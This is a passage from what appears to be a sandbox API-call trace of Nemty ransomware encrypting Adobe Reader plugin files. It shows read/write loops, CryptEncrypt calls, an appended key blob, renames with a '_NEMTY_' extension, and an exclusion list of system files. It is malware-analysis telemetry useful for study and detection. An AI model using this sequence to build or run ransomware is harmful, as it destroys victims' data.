dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2dc431 [0192.738] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0192.757] SetFilePointer (in: hFile=0x254, lDistanceToMove=2999345, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2dc431 [0192.757] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0192.758] SetFilePointer (in: hFile=0x254, lDistanceToMove=3159345, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x303531 [0192.758] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0192.778] SetFilePointer (in: hFile=0x254, lDistanceToMove=3159345, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x303531 [0192.778] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0192.778] SetFilePointer (in: hFile=0x254, lDistanceToMove=3319345, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x32a631 [0192.778] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0192.787] SetFilePointer (in: hFile=0x254, lDistanceToMove=3319345, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x32a631 [0192.787] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0192.788] SetFilePointer (in: hFile=0x254, lDistanceToMove=3479345, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x351731 [0192.788] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0192.797] SetFilePointer (in: hFile=0x254, lDistanceToMove=3479345, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x351731 [0192.797] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0192.798] SetFilePointer (in: hFile=0x254, lDistanceToMove=3639345, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x378831 [0192.798] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0192.810] SetFilePointer (in: hFile=0x254, lDistanceToMove=3639345, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x378831 [0192.810] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0192.811] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.811] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0192.819] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.819] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0192.819] SetFilePointer (in: hFile=0x254, lDistanceToMove=7496291, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x726263 [0192.819] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0192.841] SetFilePointer (in: hFile=0x254, lDistanceToMove=7496291, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x726263 [0192.841] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0192.841] SetFilePointer (in: hFile=0x254, lDistanceToMove=7598691, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x73f263 [0192.841] WriteFile (in: hFile=0x254, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0192.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0192.841] CloseHandle (hObject=0x254) returned 1 [0192.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0192.842] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.842] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0192.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0192.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0192.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.842] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\PPKLite.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\ppklite.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\PPKLite.api._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\ppklite.api._nemty_kgobjgd_")) returned 1 [0192.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0192.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0192.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0192.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0192.843] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b663, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="ReadOutLoud.api", cAlternateFileName="READOU~1.API")) returned 1 [0192.843] lstrcmpiW (lpString1="ReadOutLoud.api", lpString2=".") returned 1 [0192.843] lstrcmpiW (lpString1="ReadOutLoud.api", lpString2="..") returned 1 [0192.843] lstrcmpiW (lpString1="ReadOutLoud.api", lpString2="...") returned 1 [0192.843] lstrcmpiW (lpString1="ReadOutLoud.api", lpString2="windows") returned -1 [0192.843] lstrcmpiW (lpString1="ReadOutLoud.api", lpString2="$RECYCLE.BIN") returned 1 [0192.843] lstrcmpiW (lpString1="ReadOutLoud.api", lpString2="rsa") returned -1 [0192.843] lstrcmpiW (lpString1="ReadOutLoud.api", lpString2="NTDETECT.COM") returned 1 [0192.843] lstrcmpiW (lpString1="ReadOutLoud.api", lpString2="ntldr") returned 1 [0192.843] lstrcmpiW (lpString1="ReadOutLoud.api", lpString2="MSDOS.SYS") returned 1 [0192.843] lstrcmpiW (lpString1="ReadOutLoud.api", lpString2="IO.SYS") returned 1 [0192.843] lstrcmpiW (lpString1="ReadOutLoud.api", lpString2="boot.ini") returned 1 [0192.843] lstrcmpiW (lpString1="ReadOutLoud.api", lpString2="boot.ini") returned 1 [0192.843] lstrcmpiW (lpString1="ReadOutLoud.api", lpString2="AUTOEXEC.BAT") returned 1 [0192.844] lstrcmpiW (lpString1="ReadOutLoud.api", lpString2="ntuser.dat") returned 1 [0192.844] lstrcmpiW (lpString1="ReadOutLoud.api", lpString2="desktop.ini") returned 1 [0192.844] lstrcmpiW (lpString1="ReadOutLoud.api", lpString2="CONFIG.SYS") returned 1 [0192.844] lstrcmpiW (lpString1="ReadOutLoud.api", lpString2="RECYCLER") returned -1 [0192.844] lstrcmpiW (lpString1="ReadOutLoud.api", lpString2="BOOTSECT.BAK") returned 1 [0192.844] lstrcmpiW (lpString1="ReadOutLoud.api", lpString2="bootmgr") returned 1 [0192.844] lstrcmpiW (lpString1="ReadOutLoud.api", lpString2="programdata") returned 1 [0192.844] lstrcmpiW (lpString1="ReadOutLoud.api", lpString2="appdata") returned 1 [0192.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.api", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0192.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.api", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.api", lpUsedDefaultChar=0x0) returned 15 [0192.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.api", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0192.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.api", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.api", lpUsedDefaultChar=0x0) returned 15 [0192.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.api", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0192.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.api", cchWideChar=15, lpMultiByteStr=0x653ec20, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.api", lpUsedDefaultChar=0x0) returned 15 [0192.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.api", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0192.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.api", cchWideChar=15, lpMultiByteStr=0x653ec58, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.api", lpUsedDefaultChar=0x0) returned 15 [0192.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0192.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0192.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0192.844] Sleep (dwMilliseconds=0x5) [0192.845] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26976a70, dwHighDateTime=0x1d561e8)) [0192.845] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26976a70, dwHighDateTime=0x1d561e8)) [0192.845] GetLastError () returned 0x0 [0192.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.845] GetLastError () returned 0x0 [0192.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.845] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0192.845] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0192.845] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0192.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0192.845] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="ljgvSQlmiG1QAS60qSIBO+B8LKD6MqfFciZQPqTHIjtkyZFJBPKoYyWFTyawPpJg\r\nd9d6fWD3TH84WaSvZTPY8XvYY4XRnMOyrKFnehcxB0E6yQHTarpdDP6tri+t4PFq\r\nlxHfOMrymqqWhzpiEy9KX4mygB6kcl3Niz78uUm+4EqBhwU9RWz3Nn/wkA5aRYMm\r\nWxPo+zBF1DuxzMVheuNjWJfRsLjGLUHnGoLHMcI74c77LHKgQVJD/ILELtv09GzB\r\nOA4GOggIbDTobqwJFbRhMHVuBkwGIzwzsS4+2C/FxdU0WApKKk9W2ySOKJCvz2aj\r\nND3ZT5DcV+1smtKVpMDijw==\r\n", pcchString=0x653e91c) returned 1 [0192.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0192.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0192.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0192.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0192.846] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\ReadOutLoud.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\readoutloud.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0192.846] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=112227) returned 1 [0192.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0192.846] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.846] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0192.857] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.857] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0192.858] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0192.858] SetFilePointer (in: hFile=0x254, lDistanceToMove=112227, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1b663 [0192.858] WriteFile (in: hFile=0x254, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0192.858] CloseHandle (hObject=0x254) returned 1 [0192.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0192.858] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.858] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.858] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0192.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340240 [0192.858] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0192.858] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.858] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\ReadOutLoud.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\readoutloud.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\ReadOutLoud.api._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\readoutloud.api._nemty_kgobjgd_")) returned 1 [0192.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0192.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0192.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0192.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0192.859] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dab5520, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x54e63, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="reflow.api", cAlternateFileName="")) returned 1 [0192.859] lstrcmpiW (lpString1="reflow.api", lpString2=".") returned 1 [0192.859] lstrcmpiW (lpString1="reflow.api", lpString2="..") returned 1 [0192.859] lstrcmpiW (lpString1="reflow.api", lpString2="...") returned 1 [0192.860] lstrcmpiW (lpString1="reflow.api", lpString2="windows") returned -1 [0192.860] lstrcmpiW (lpString1="reflow.api", lpString2="$RECYCLE.BIN") returned 1 [0192.860] lstrcmpiW (lpString1="reflow.api", lpString2="rsa") returned -1 [0192.860] lstrcmpiW (lpString1="reflow.api", lpString2="NTDETECT.COM") returned 1 [0192.860] lstrcmpiW (lpString1="reflow.api", lpString2="ntldr") returned 1 [0192.860] lstrcmpiW (lpString1="reflow.api", lpString2="MSDOS.SYS") returned 1 [0192.860] lstrcmpiW (lpString1="reflow.api", lpString2="IO.SYS") returned 1 [0192.860] lstrcmpiW (lpString1="reflow.api", lpString2="boot.ini") returned 1 [0192.860] lstrcmpiW (lpString1="reflow.api", lpString2="boot.ini") returned 1 [0192.860] lstrcmpiW (lpString1="reflow.api", lpString2="AUTOEXEC.BAT") returned 1 [0192.860] lstrcmpiW (lpString1="reflow.api", lpString2="ntuser.dat") returned 1 [0192.860] lstrcmpiW (lpString1="reflow.api", lpString2="desktop.ini") returned 1 [0192.860] lstrcmpiW (lpString1="reflow.api", lpString2="CONFIG.SYS") returned 1 [0192.860] lstrcmpiW (lpString1="reflow.api", lpString2="RECYCLER") returned 1 [0192.860] lstrcmpiW (lpString1="reflow.api", lpString2="BOOTSECT.BAK") returned 1 [0192.860] lstrcmpiW (lpString1="reflow.api", lpString2="bootmgr") returned 1 [0192.860] lstrcmpiW (lpString1="reflow.api", lpString2="programdata") returned 1 [0192.860] lstrcmpiW (lpString1="reflow.api", lpString2="appdata") returned 1 [0192.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.api", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0192.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.api", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.api", lpUsedDefaultChar=0x0) returned 10 [0192.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.api", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0192.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.api", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 